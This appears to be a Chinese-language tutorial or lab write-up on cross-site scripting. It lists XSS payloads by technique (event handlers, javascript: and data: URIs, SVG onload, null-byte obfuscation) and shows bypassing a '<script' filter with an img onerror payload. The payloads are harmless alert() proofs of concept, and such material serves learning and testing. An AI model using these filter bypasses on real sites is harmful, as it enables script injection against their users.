先介绍几个xss语句:
-
注入脚本:
- 在输入字段中插入JavaScript代码。
- 示例:
<script>alert('XSS')</script>
-
嵌套标签:
- 利用嵌套标签来绕过过滤机制。
- 示例:
<img src='x' onerror='alert("XSS")'>
-
事件处理器:
- 利用HTML标签的事件处理器来执行JavaScript代码。
- 示例:
<img src="x" onmouseover="alert('XSS')">
-
使用特殊字符:
- 利用HTML和JavaScript的特殊字符来绕过过滤。
- 示例:
<s%00c%00r%00i%00p%00t>alert('XSS')</script>
-
编码绕过:
- 利用HTML编码或JavaScript编码来混淆代码。
- 示例:
<script>alert('XSS')</script>
-
嵌套注释:
- 在注释中插入恶意代码。
- 示例:
<img src="x" onerror="alert('XSS') //">
-
JavaScript伪协议:
- 利用JavaScript伪协议来执行JavaScript代码。
- 示例:
javascript:alert('XSS')
-
数据协议:
- 利用data协议来执行JavaScript代码。
- 示例:
<img src="data:image/svg+xml,<svg/onload=alert('XSS')>">
-
SVG注入:
- 利用SVG标签来注入JavaScript代码。
- 示例:
<svg/onload=alert('XSS')>
-
基于事件的攻击:
- 利用用户交互事件触发XSS。
- 示例:
<input type="text" autofocus onfocus="alert('XSS')"
先直接进行注入<script>alert('XSS')</script>
可以看到只返回了>,说明存在过滤:
如果想要确定过滤了哪些东西,我们可以使用一些字典,再用burpsuite来确定过滤了哪些东西:
当然,我这里做了简单的演示:
<*script 这些被过滤了,但是我们还有许多其他的注入方式:
比如上面的嵌套标签<img src='x' onerror='alert("XSS")'>
src='x'
:指定图像的源,这里使用了一个不存在的图像文件'x'
。这通常是为了触发onerror
事件,因为图像加载失败会触发onerror
。onerror='alert("XSS")'
:在图像加载失败时,会执行JavaScript代码,弹出一个对话框,内容为 "XSS"。
拿下!